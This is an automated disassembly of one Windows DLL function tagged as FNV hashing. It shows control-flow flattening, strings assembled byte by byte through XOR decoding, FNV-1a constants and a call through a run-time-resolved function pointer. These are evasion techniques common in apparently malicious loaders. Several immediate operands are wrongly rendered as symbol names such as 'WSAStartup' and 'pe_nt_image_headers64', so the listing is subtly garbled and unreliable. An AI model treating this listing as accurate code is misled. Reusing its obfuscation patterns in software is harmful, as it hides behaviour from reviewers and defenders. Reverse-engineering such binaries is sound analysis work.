Function at 0x1800b70c0
Capabilities:
Hash data using fnv

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xe8
mov qword [rsp + 0x98], rcx
mov rax, qword [0x1800e8a00]
xor rax, rsp
mov qword [rsp + 0xe0], rax
cmp edx, 1
mov eax, 0xe256a587
mov ecx, 0xaa41dee3
cmove ecx, eax
mov dword [rsp + 0x8c], ecx
mov eax, 0x1ba53368
lea rsi, [rsp + 0xc0]
movabs r12, 0xcbf29ce484222325
mov r13d, 0x994d3a99
mov r14d, 0x9cec739a
mov r15d, 0xb224b707
nop dword [rax]
cmp eax, 0xf838b401
jg 0x1800b71d0
cmp eax, 0x9c1604f7
je 0x1800b71fd
cmp eax, 0xaa41dee3
je 0x1800b9681
cmp eax, 0xe256a587
jne 0x1800b7130
mov rax, qword [rsp + 0x98]
mov qword [0x1800e94f8], rax
mov qword [rsp + 0x80], rsi
mov rax, qword [rsp + 0x80]
mov byte [rax], 0x66
mov rax, qword [rsp + 0x80]
mov dword [rsp + 0x60], 0x53
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop word cs:[rax + rax]
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7238
cmp ecx, 0xbdbf61f7
jne 0x1800b71a0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b71a0
cmp eax, 0x3fe7ac2d
je 0x1800b7276
cmp eax, 0x1ba53368
je 0x1800b7295
cmp eax, 0xf838b402
jne 0x1800b7130
mov eax, dword [rsp + 0x8c]
jmp 0x1800b7130
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
lea r8, [0x1800b7030]
xor r9d, r9d
call rax
mov rax, qword [rsp + 0x90]
mov eax, 0xaa41dee3
jmp 0x1800b7130
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b729f
cmp ecx, 0x48f2f1ce
jne 0x1800b7250
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7250
mov rcx, qword [rsp + 0xa0]
call fcn.1800ae820
mov qword [rsp + 0xa8], rax
mov eax, 0x9c1604f7
jmp 0x1800b7130
mov eax, 0xf838b402
jmp 0x1800b7130
mov cl, byte [rsp + 0x38]
mov byte [rax + 1], cl
mov dword [rsp + 0x60], 0x65
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop dword [rax + rax]
cmp ecx, 0x9d3f3d09
je 0x1800b72e1
cmp ecx, 0xbdbf61f7
jne 0x1800b72c0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b72c0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7326
cmp ecx, 0x48f2f1ce
jne 0x1800b7300
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7300
mov cl, byte [rsp + 0x38]
mov byte [rax + 2], cl
mov dword [rsp + 0x60], 0x74
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7361
cmp ecx, 0xbdbf61f7
jne 0x1800b7340
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7340
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b73a6
cmp ecx, 0x48f2f1ce
jne 0x1800b7380
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7380
mov cl, byte [rsp + 0x38]
mov byte [rax + 3], cl
mov dword [rsp + 0x60], 0x55
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b73e1
cmp ecx, 0xbdbf61f7
jne 0x1800b73c0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b73c0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7426
cmp ecx, 0x48f2f1ce
jne 0x1800b7400
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7400
mov cl, byte [rsp + 0x38]
mov byte [rax + 4], cl
mov dword [rsp + 0x60], WSAStartup
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7461
cmp ecx, 0xbdbf61f7
jne 0x1800b7440
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7440
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b74a6
cmp ecx, 0x48f2f1ce
jne 0x1800b7480
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7480
mov cl, byte [rsp + 0x38]
mov byte [rax + 5], cl
mov dword [rsp + 0x60], 0x68
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b74e1
cmp ecx, 0xbdbf61f7
jne 0x1800b74c0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b74c0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7526
cmp ecx, 0x48f2f1ce
jne 0x1800b7500
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7500
mov cl, byte [rsp + 0x38]
mov byte [rax + 6], cl
mov dword [rsp + 0x60], 0x61
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7561
cmp ecx, 0xbdbf61f7
jne 0x1800b7540
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7540
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b75a6
cmp ecx, 0x48f2f1ce
jne 0x1800b7580
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7580
mov cl, byte [rsp + 0x38]
mov byte [rax + 7], cl
mov dword [rsp + 0x60], WSAStartup
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b75e1
cmp ecx, 0xbdbf61f7
jne 0x1800b75c0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b75c0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7626
cmp ecx, 0x48f2f1ce
jne 0x1800b7600
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7600
mov cl, byte [rsp + 0x38]
mov byte [rax + 8], cl
mov dword [rsp + 0x60], 0x64
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7661
cmp ecx, 0xbdbf61f7
jne 0x1800b7640
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7640
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b76a6
cmp ecx, 0x48f2f1ce
jne 0x1800b7680
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7680
mov cl, byte [rsp + 0x38]
mov byte [rax + 9], cl
mov dword [rsp + 0x60], WSAStartup
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b76e1
cmp ecx, 0xbdbf61f7
jne 0x1800b76c0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b76c0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7726
cmp ecx, 0x48f2f1ce
jne 0x1800b7700
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7700
mov cl, byte [rsp + 0x38]
mov byte [rax + 0xa], cl
mov dword [rsp + 0x60], 0x65
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7761
cmp ecx, 0xbdbf61f7
jne 0x1800b7740
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7740
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b77a6
cmp ecx, 0x48f2f1ce
jne 0x1800b7780
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7780
mov cl, byte [rsp + 0x38]
mov byte [rax + 0xb], cl
mov dword [rsp + 0x60], 0x64
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b77e1
cmp ecx, 0xbdbf61f7
jne 0x1800b77c0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b77c0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7826
cmp ecx, 0x48f2f1ce
jne 0x1800b7800
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x60]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7800
mov cl, byte [rsp + 0x38]
mov byte [rax + 0xc], cl
add rax, 0xd
mov qword [rsp + 0x50], rax
lea rax, [0x1800df98d]
mov qword [rsp + 0x68], rax
mov ecx, 0x2607e859
nop word [rax + rax]
cmp ecx, 0x83f5bfb
jg 0x1800b7870
cmp ecx, 0xc4a14b8d
je 0x1800b78c1
cmp ecx, 0xe03e7e44
jne 0x1800b7850
jmp 0x1800b807c
cmp ecx, 0x83f5bfc
je 0x1800b78df
cmp ecx, 0x2607e859
jne 0x1800b7850
mov rcx, qword [rsp + 0x68]
movsx ecx, byte [rcx]
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop word cs:[rax + rax]
cmp ecx, 0x9d3f3d09
je 0x1800b791f
cmp ecx, 0xbdbf61f7
jne 0x1800b78a0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b78a0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rsp + 0x60]
mov ecx, 0xc4a14b8d
mov edx, 0xe03e7e44
cmove ecx, edx
jmp 0x1800b7850
movsx eax, byte [rsp + 0x4f]
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x40], rsi
mov eax, 0xbdbf61f7
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x9d3f3d09
je 0x1800b7956
cmp eax, 0xbdbf61f7
jne 0x1800b7900
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov eax, 0x9d3f3d09
jmp 0x1800b7900
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop
cmp ecx, 0xb8989833
je 0x1800b7994
cmp ecx, 0x48f2f1ce
jne 0x1800b7930
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7930
mov rax, qword [rsp + 0x38]
mov al, byte [rax]
mov byte [rsp + 0x40], al
mov eax, 0x48f2f1ce
nop word cs:[rax + rax]
cmp eax, 0xb8989833
je 0x1800b79e1
cmp eax, 0x48f2f1ce
jne 0x1800b7970
movzx eax, byte [rsp + 0x40]
mov ecx, dword [rsp + 0x48]
xor cl, al
mov byte [rsp + 0x38], cl
mov eax, 0xb8989833
jmp 0x1800b7970
mov cl, byte [rsp + 0x38]
mov rdx, qword [rsp + 0x50]
mov byte [rdx], cl
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x48], pe_nt_image_headers64
mov qword [rsp + 0x40], rsi
mov edx, 0xbdbf61f7
nop word cs:[rax + rax]
cmp edx, 0x9d3f3d09
je 0x1800b7a31
cmp edx, 0xbdbf61f7
jne 0x1800b79c0
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rdx
mov edx, 0x9d3f3d09
jmp 0x1800b79c0
mov al, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x78]
mov byte [rcx], al
mov rax, qword [rsp + 0x78]
mov dword [rsp + 0x48], 0x65
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9d3f3d09
je 0x1800b7a76
cmp ecx, 0xbdbf61f7
jne 0x1800b7a10
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7a10
mov rdx, qword [rsp + 0x38]
mov dl, byte [rdx]
mov byte [rsp + 0x40], dl
mov edx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xb8989833
je 0x1800b7ab6
cmp edx, 0x48f2f1ce
jne 0x1800b7a50
movzx edx, byte [rsp + 0x40]
mov ebx, dword [rsp + 0x48]
xor bl, dl
mov byte [rsp + 0x38], bl
mov edx, 0xb8989833
jmp 0x1800b7a50
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7ad5
cmp ecx, 0x48f2f1ce
jne 0x1800b7a90
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7a90
mov dl, byte [rsp + 0x38]
mov byte [rcx + 1], dl
add rcx, 2
mov qword [rsp + 0x78], rcx
mov byte [rsp + 0x4f], 0x63
mov ecx, 0x83f5bfc
jmp 0x1800b7850
mov cl, byte [rsp + 0x38]
mov byte [rax + 1], cl
mov dword [rsp + 0x48], WSAStartup
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7b11
cmp ecx, 0xbdbf61f7
jne 0x1800b7af0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7af0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7b56
cmp ecx, 0x48f2f1ce
jne 0x1800b7b30
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7b30
mov cl, byte [rsp + 0x38]
mov byte [rax + 2], cl
mov dword [rsp + 0x48], 0x74
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7b91
cmp ecx, 0xbdbf61f7
jne 0x1800b7b70
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7b70
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7bd6
cmp ecx, 0x48f2f1ce
jne 0x1800b7bb0
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7bb0
mov cl, byte [rsp + 0x38]
mov byte [rax + 3], cl
mov dword [rsp + 0x48], 0x69
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7c11
cmp ecx, 0xbdbf61f7
jne 0x1800b7bf0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7bf0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7c56
cmp ecx, 0x48f2f1ce
jne 0x1800b7c30
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7c30
mov cl, byte [rsp + 0x38]
mov byte [rax + 4], cl
mov dword [rsp + 0x48], WSAStartup
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7c91
cmp ecx, 0xbdbf61f7
jne 0x1800b7c70
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7c70
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7cd6
cmp ecx, 0x48f2f1ce
jne 0x1800b7cb0
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7cb0
mov cl, byte [rsp + 0x38]
mov byte [rax + 5], cl
mov dword [rsp + 0x48], WSAStartup
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7d11
cmp ecx, 0xbdbf61f7
jne 0x1800b7cf0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7cf0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7d56
cmp ecx, 0x48f2f1ce
jne 0x1800b7d30
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7d30
mov cl, byte [rsp + 0x38]
mov byte [rax + 6], cl
mov dword [rsp + 0x48], 0x46
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7d91
cmp ecx, 0xbdbf61f7
jne 0x1800b7d70
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7d70
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7dd6
cmp ecx, 0x48f2f1ce
jne 0x1800b7db0
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7db0
mov cl, byte [rsp + 0x38]
mov byte [rax + 7], cl
mov dword [rsp + 0x48], 0x69
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7e11
cmp ecx, 0xbdbf61f7
jne 0x1800b7df0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7df0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7e56
cmp ecx, 0x48f2f1ce
jne 0x1800b7e30
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7e30
mov cl, byte [rsp + 0x38]
mov byte [rax + 8], cl
mov dword [rsp + 0x48], WSAStartup
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7e91
cmp ecx, 0xbdbf61f7
jne 0x1800b7e70
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7e70
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7ed6
cmp ecx, 0x48f2f1ce
jne 0x1800b7eb0
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7eb0
mov cl, byte [rsp + 0x38]
mov byte [rax + 9], cl
mov dword [rsp + 0x48], 0x74
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7f11
cmp ecx, 0xbdbf61f7
jne 0x1800b7ef0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7ef0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7f56
cmp ecx, 0x48f2f1ce
jne 0x1800b7f30
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7f30
mov cl, byte [rsp + 0x38]
mov byte [rax + 0xa], cl
mov dword [rsp + 0x48], 0x65
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b7f91
cmp ecx, 0xbdbf61f7
jne 0x1800b7f70
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7f70
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b7fd6
cmp ecx, 0x48f2f1ce
jne 0x1800b7fb0
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b7fb0
mov cl, byte [rsp + 0x38]
mov byte [rax + 0xb], cl
mov dword [rsp + 0x48], WSAStartup
mov qword [rsp + 0x40], rsi
mov ecx, 0xbdbf61f7
nop
cmp ecx, 0x9d3f3d09
je 0x1800b8011
cmp ecx, 0xbdbf61f7
jne 0x1800b7ff0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov ecx, 0x9d3f3d09
jmp 0x1800b7ff0
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rsp + 0x40], cl
mov ecx, 0x48f2f1ce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xb8989833
je 0x1800b8056
cmp ecx, 0x48f2f1ce
jne 0x1800b8030
movzx ecx, byte [rsp + 0x40]
mov edx, dword [rsp + 0x48]
xor dl, cl
mov byte [rsp + 0x38], dl
mov ecx, 0xb8989833
jmp 0x1800b8030
mov cl, byte [rsp + 0x38]
mov byte [rax + 0xc], cl
add rax, 0xd
mov rcx, qword [rsp + 0x80]
add rcx, 0x1d
mov qword [rsp + 0x60], rcx
mov ecx, 0xc4a14b8d
jmp 0x1800b7850
mov rcx, rsi
call fcn.1800b96b0
mov r10d, 0xb34bc921
mov r9d, 0x4e4b30dd
movabs r8, 0x100000001b3
mov edi, 0x43eb47cb
jmp 0x1800b80c0
movsxd rbx, ecx
xor rbx, qword [rsp + 0x38]
imul rbx, r8
mov esi, dword [rsp + 0x60]
add esi, 1
mov edi, 0xac782f38
nop dword [rax]
cmp edi, 0xfdea039d
jg 0x1800b8110
cmp edi, 0xb34bc920
jle 0x1800b8160
cmp edi, 0xc73c256f
jg 0x1800b81ea
cmp edi, 0xb34bc921
je 0x1800b82a5
cmp edi, 0xc1f78589
je 0x1800b80a1
cmp edi, 0xc25c29e1
jne 0x1800b80c0
mov edi, 0xc1f78589
mov ecx, dword [rsp + 0x50]
jmp 0x1800b80c0
cmp edi, 0x235505ee
jle 0x1800b81b0
cmp edi, 0x43eb47ca
jle 0x1800b8221
cmp edi, 0x5d545c20
je 0x1800b82bb
cmp edi, 0x4e4b30dd
je 0x1800b82c9
cmp edi, 0x43eb47cb
jne 0x1800b80c0
mov edi, 0xfdea039e
jmp 0x1800b80c0
cmp edi, 0x9cec7399
jle 0x1800b824c
cmp edi, 0x9cec739a
je 0x1800b82dc
cmp edi, 0xac782f38
je 0x1800b82f4
cmp edi, 0xb224b707
jne 0x1800b80c0
mov ebp, dword [rsp + 0x50]
or ebp, 0x20
mov dword [rsp + 0x68], ebp
mov edi, 0x5d545c20
jmp 0x1800b80c0
cmp edi, 0x69c8bf4
jle 0x1800b827a
cmp edi, 0x69c8bf5
je 0x1800b8315
cmp edi, 0x1896e869
je 0x1800b831f
cmp edi, 0x21babcb7
jne 0x1800b80c0
mov edi, 0x235505ef
jmp 0x1800b80c0
cmp edi, 0xc73c2570
je 0x1800b8329
cmp edi, 0xdd1a78bb
je 0x1800b834e
cmp edi, 0xdefd1baa
jne 0x1800b80c0
cmp byte [rsp + 0x5f], 0
mov edi, 0xc25c29e1
cmovne edi, r13d
jmp 0x1800b80c0
cmp edi, 0x235505ef
je 0x1800b8371
cmp edi, 0x2ea53566
jne 0x1800b839d
cmp byte [rsp + 0x4f], 0
mov edi, 0xc25c29e1
cmovne edi, r15d
jmp 0x1800b80c0
cmp edi, 0x85147da9
je 0x1800b8380
cmp edi, 0x994d3a99
jne 0x1800b80c0
mov ebp, dword [rsp + 0x50]
cmp ebp, 0x5b
setl byte [rsp + 0x4f]
mov edi, 0x2ea53566
jmp 0x1800b80c0
cmp edi, 0xfdea039e
je 0x1800b8391
cmp edi, 0x712764
jne 0x1800b80c0
